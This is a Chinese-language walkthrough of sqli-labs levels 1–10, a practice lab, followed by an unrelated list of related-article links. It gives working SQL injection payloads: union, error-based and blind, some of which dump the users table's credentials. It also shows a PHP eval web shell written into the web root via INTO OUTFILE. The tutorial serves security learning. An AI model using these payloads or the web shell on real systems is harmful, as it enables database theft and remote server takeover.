sqli-labs1-10基础掌握
00x01基于错误的GET单引号字符型注入
- 首先and 1=2判断是否为数值型sql注入,页面正常,不是
- 然后’测试,发现页面报sql语句错误,存在字符型sql注入

- 猜测参数为单引号闭合,用注释语句将后面的引号注释掉,先尝试#号,页面还是不正常,再尝试--+,发现页面正常显示,那么可以插入sql语句了

- Order by查询字段数,查出来是3
- Union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用;

- 爆当前数据库union select 1,2,database()

- 爆security当中的表,因为回显位有限,因此字段都加上group_concat(),让其显示在一个回显位上,union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”

- 找到敏感表名users,爆出users中所有的字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=”security”and table_name=”users”

- 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users
00x02基于错误的get数值型
1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入
2.直接插入sql语句,后面查询过程跟第一关相似。
00x03 基于错误的-GET单引号变形字符型注入
1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入
2.sql查询爆数据详细见第一关。
00x04基于错误的GET双引号字符型注入
1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“)--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入
2.后面操作详见第一关。
00x05 双注入GET单引号字符型注入
- 当输入?id=3时发现没有显示位,?id=-3也没有

- 因此无法使用联合查询注入
- 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。

- 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入
三种报错注入常用的语句:
(1)通过floor报错:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为想要插入的sql语句
该语句将输出字符长度限制为64个字符;
(2)通过updatexml报错
and updatexml(1,payload,1)
该语句的输出长度限制为32位,
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3)通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,payload,0x7e))
输出字符长度限制为32位
6.这里我们使用第一种floor报错语句进行sql注入
?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分
7.查询所有数据库时
?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
7.运用limit 一个一个的输出
?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示
00x06 双注入GET双引号字符型注入
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2' 改为 ?id=2"即可
其余过程不再赘述,请参考第五关
00x07 导出文件GET字符型注入
1. 当我们输入?id=1'页面报错,说明可能存在单引号闭合注入

2. 当我们输入?id=1' --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常

3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
4.取mysql的目录E:\phpStudy\PHPTutorial\MySQL\data,然后使用
union select 1,2,3 into outfile "E:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"尝试写入文件

文件写入成功
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中
?id=-3')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

上传成功
6.连接菜刀
7.不能写入的话进入mysql命令行,show variables like '%secure%';查看当前的secure-file-priv 是什么值,我们把导入的路径改为上面的值就可以了
或者将my.ini中的secure-file-priv的值改为’’.
00x08 布尔型单引号GET盲注
1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+
上传成功
当然我尝试下了下布尔和时间盲注,都是可以的
3.盲注涉及函数:
length(str):返回字符串str的长度
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c
4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑
00x09 基于时间的GET单引号盲注
1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....
2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
and if((ascii(substr(database(),1,1)))>114,sleep(5),0)
这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。
3.判断时间型盲注语句:’ and sleep(5)%23
这里用到的是?id=1’ and sleep(5)--+
F12看网络缓存时间,超过5秒就存在时间型盲注
00x10 基于时间的双引号盲注
1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。

sqli-labs1-10基础掌握的更多相关文章
- spring boot(10) 基础学习内容
A Spring boot(10) 基础学习内容 B SpringBoot(16) 基础学习内容
- 数据结构和算法(Golang实现)(10)基础知识-算法复杂度主方法
算法复杂度主方法 有时候,我们要评估一个算法的复杂度,但是算法被分散为几个递归的子问题,这样评估起来很难,有一个数学公式可以很快地评估出来. 一.复杂度主方法 主方法,也可以叫主定理.对于那些用分治法 ...
- OpenShift-OKD3.10基础环境部署
单master + 双node 1.主机角色划分 #采用双网段部署 0 网段是opesnshift内部通信IP,1 网段是连接外网通信地址 #master master.example.com 192 ...
- python+java蓝桥杯ACM日常算法题训练(一)10基础题
目录 1.简单的a+b 2.第一个HelloWorld程序! 3.三个数最大值 4.密码破译 5.母牛的故事 6.7.8.9.10 @(这里写自定义目录标题) 算法题训练网站:http://www.d ...
- 1.10 基础知识——GP3.1 制度化 & GP3.2 收集改进信息
摘要: GP3.1是要求建立组织级的关于该过程的制度.标准.模版等全套体系,要求覆盖该PA所有的SP和GP.GP3.2 体现的是持续改进,每个过程都应该收集相应的改进信息. 正文: GP3.1 Est ...
- 详细了解 Linkerd 2.10 基础功能,一起步入 Service Mesh 微服务架构时代
Linkerd 提供了许多功能,如:自动 mTLS.自动代理注入.分布式追踪.故障注入.高可用性.HTTP/2 和 gRPC 代理.负载均衡.多集群通信.重试和超时.遥测和监控.流量拆分(金丝雀.蓝/ ...
- 自学PYTHON分享 --基础1
1.python2和python3的区别: 宏观上:python2 与 python3 区别: python2 源码不标准,混乱,重复代码太多, python3 统一 标准,去除重复代码. 2.pyt ...
- JAVA核心技术I---JAVA基础知识(常量设计和常量池)
一:常量---一种不会修改的变量 –Java没有constant关键字 –不能修改,final –不会修改/只读/只要一份,static –方便访问publicJava中的常量 –public sta ...
- day 01 python基础
1.计算机历史 2.python历史 宏观: python2和python3的区别: python2 源码不标准,混乱,重复代码过多 python3 统一标准,去除重复代码 3.python环境 ...
- Windows 10 神州网信版
一.版本介绍:官网链接:http://document.cmgos.com/release_notes/release_notes_V0_H 下载链接:请自行百度Windows 10 神州网信政府版( ...
随机推荐
- C#基础知识学习(2)string类中的方法
1.Compare 比较字符串 用来比较2个字符串的长度大小和值是否相同,相同则返回0,当x比y小返回-1,否则返回1,如果长度相同,且值不同,则返回1,代码如下 public static void ...
- kms在线激活windows和office
本激活,只适用vol版本的windows系统和office 激活windows在windows中使用管理员方式打开cmd命令输入slmgr /skms chongking.com切换kms服务器地址为 ...
- C#设计模式学习笔记:(21)访问者模式
本笔记摘抄自:https://www.cnblogs.com/PatrickLiu/p/8135083.html,记录一下学习过程以备后续查用. 一.引言 今天我们要讲行为型设计模式的第九个模式--访 ...
- 15.Android-实现TCP客户端,支持读写
在上章14.Android-使用sendMessage线程之间通信我们学习了如何在线程之间发送数据. 接下来我们便来学习如何通过socket读写TCP. 需要注意的是socket必须写在子线程中,不能 ...
- Android埋点方案的简单实现-AOP之AspectJ
个人博客 http://www.milovetingting.cn Android埋点方案的简单实现-AOP之AspectJ AOP的定义 AOP为Aspect Oriented Programmin ...
- C#实现把String字符串转化为SQL语句中的In后接的参数
实现把String字符串转化为In后可用参数代码: public string StringToList(string aa) { string bb1 = "("; if (!s ...
- 【01】HTML_day01_03-HTML常用标签
typora-copy-images-to: media 第01阶段.前端基础.HTML常用标签 学习目标 理解: 相对路径三种形式 应用 排版标签 文本格式化标签 图像标签 链接 相对路径,绝对路径 ...
- day16 匿名函数
# 匿名函数# 函数名 = lambda 参数1,(参数2,....) : 返回值 [注意:匿名函数不允许换行]# 匿名函数返回值和正常函数一样可以是任意数据类型# def add(x,y):# re ...
- 硬件知识整理part1--电阻E系列行业规范
仁者,人心也,义者,人路也. --孟子 “ E ”表示“指数间距”(Exponential Spacing) 在上个20世纪的电子管时代,电子元器件厂商为了便于元件规格的管理和选用.大规模生产的电 ...
- 在腾讯云上配置.NetCoreWeb
1.购买服务器 2.远程登录(账号密码在上图铃铛里的消息里) 3.安装iis 3.安装.NetCore相关 下载最新版本.NET Core Windows Server Hosting https:/ ...